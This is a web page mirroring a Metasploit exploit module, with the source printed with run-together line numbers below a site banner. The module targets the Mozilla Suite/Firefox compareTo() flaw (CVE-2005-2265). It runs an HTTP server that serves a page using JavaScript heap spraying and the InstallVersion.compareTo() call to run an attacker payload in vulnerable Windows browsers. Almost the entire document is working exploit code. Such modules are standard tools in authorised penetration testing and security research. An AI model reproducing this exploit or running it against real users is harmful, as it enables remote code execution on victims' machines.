Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/browser/mozilla_compareto.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78#9# This module acts as an HTTP server10#11include Msf::Exploit::Remote::HttpServer::HTML1213#include Msf::Exploit::Remote::BrowserAutopwn14# The version for this vuln is tricky because it affects mozilla 1.7-1.7.1015# and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.16#autopwn_info({17# :ua_name => HttpClients::FF,18# :ua_minver => "1.0",19# :ua_maxver => "1.7.10",20# :os_name => OperatingSystems::Match::WINDOWS,21# :javascript => true,22# :rank => NormalRanking, # reliable memory corruption23# :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",24#})2526def initialize(info = {})27super(update_info(info,28'Name' => 'Mozilla Suite/Firefox compareTo() Code Execution',29'Description' => %q{30This module exploits a code execution vulnerability in the Mozilla31Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit32module is a direct port of Aviv Raff's HTML PoC.33},34'License' => MSF_LICENSE,35'Author' => ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],36'References' =>37[38['CVE', '2005-2265'],39['OSVDB', '17968'],40['BID', '14242'],41['URL', 'http://www.mozilla.org/security/announce/mfsa2005-50.html'],42],43'Payload' =>44{45'Space' => 400,46'BadChars' => "\x00",47},48'Platform' => %w{ win },49'Targets' =>50[51# Tested against Firefox 1.0.4 and Mozilla 1.7.1 on52# WinXP-SP3 and Win2kAS-SP053[ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',54{55'Platform' => 'win',56'Arch' => ARCH_X86,57'Ret' => 0x0c0c0c0c,58}59],60],61'DefaultTarget' => 0,62'DisclosureDate' => '2005-07-13'63))64end6566def on_request_uri(cli, request)6768# Re-generate the payload69return if ((p = regenerate_payload(cli)) == nil)7071print_status("Sending #{self.name}")72send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })7374# Handle the payload75handler(cli)76end7778def generate_html(payload)7980enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))81enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))8283spray_to = sprintf("0x%.8x", target.ret)84spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )85spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )86eax_address = sprintf("0x%.8x", target.ret)8788return %Q|89<html>90<head>91<!--92Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)93From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx94Greets: SkyLined, The Insider and shutdown95-->96<title>One second please...</title>97<script language="javascript">9899function BodyOnLoad()100{101location.href="javascript:void (new InstallVersion());";102CrashAndBurn();103};104105#{js_heap_spray}106// The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology107function CrashAndBurn()108{109// Payload - Just return..110var payLoadCode=unescape("#{enc_code}");111112// Size of the heap blocks113var heapBlockSize=0x400000;114sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));115116// Set address to fake "pdata".117var eaxAddress = #{eax_address};118119// This was taken from shutdown's PoC in bugzilla120// struct vtbl { void (*code)(void); };121// struct data { struct vtbl *pvtbl; };122//123// struct data *pdata = (struct data *)(xxAddress & ~0x01);124// pdata->pvtbl->code(pdata);125//126(new InstallVersion).compareTo(new Number(eaxAddress >> 1));127}128// -->129</script>130</head>131<body onload="BodyOnLoad()">132</body>133</html>134|135end136end137138139